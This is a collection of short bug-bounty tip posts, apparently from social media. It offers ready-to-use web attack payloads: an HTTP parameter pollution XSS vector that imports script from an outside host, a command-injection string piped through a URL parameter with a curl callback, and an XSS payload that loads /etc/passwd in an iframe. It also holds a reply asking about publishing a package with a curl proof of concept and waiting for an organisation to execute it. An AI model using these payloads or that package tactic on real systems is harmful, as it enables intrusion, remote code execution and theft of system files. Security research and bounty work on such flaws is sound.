HPP XSS Vector
Two params, one payload.
Let the backend connect the dots.
?p=1"><Img Src=//X55.is?%20&p= 1%20OnLoad=import(src)>
Works for:
- ASP .NET (comma concat)
- Express (array join)
- Flask (getlist)
- Django (getlist)
#hack2learn
$850 CloudFlare Bug Bounty 🤑
When You Get Your MCP Wrong: Second-Order XSS to Cloudflare Access Account Takeover by Nishant 🤯🔥
👨💻 Nishant (x/matured_kazama)
🔗 https://t.co/rAccSrM4tJ
🔗 Join team 👉https://t.co/FeMz53HSN0
$12,500 Bug Bounty 💰
Making HTTP header injection critical via response queue poisoning by James Kettle 🤯🔥
👨💻 James Kettle (x/albinowax)
🔗 https://t.co/CXboIS6LXZ
🔗 Join team 👉https://t.co/FeMz53HSN0
?url= ❌SSRF, ✅RCE
if you find a parameter which passing url then, before testing SSRF try to test RCE.
1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${ IFS }burp-collab-link;#
Join my BugBounty telegram channel: https://t.co/k00oXcRJsi
XSS to LFI 😎
Payload ->
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
Root Idea ->
Here XSS payload is using an <img> tag with a broken src. The onerror event triggers JavaScript execution. JavaScript writes an <iframe> into the page. The iframe loads a local file (file:///etc/passwd), attempting LFI via XSS.
Credit: Rachit
#bugbounty #bugbountytips
@sl4x0 Congrats bro. Can you please clear it? After more than 24h+ of pkg published, we can push the poc with curl command and this will get ban or package deletion? and we can safely wait for execution by the org. which will shape it ultimate critical?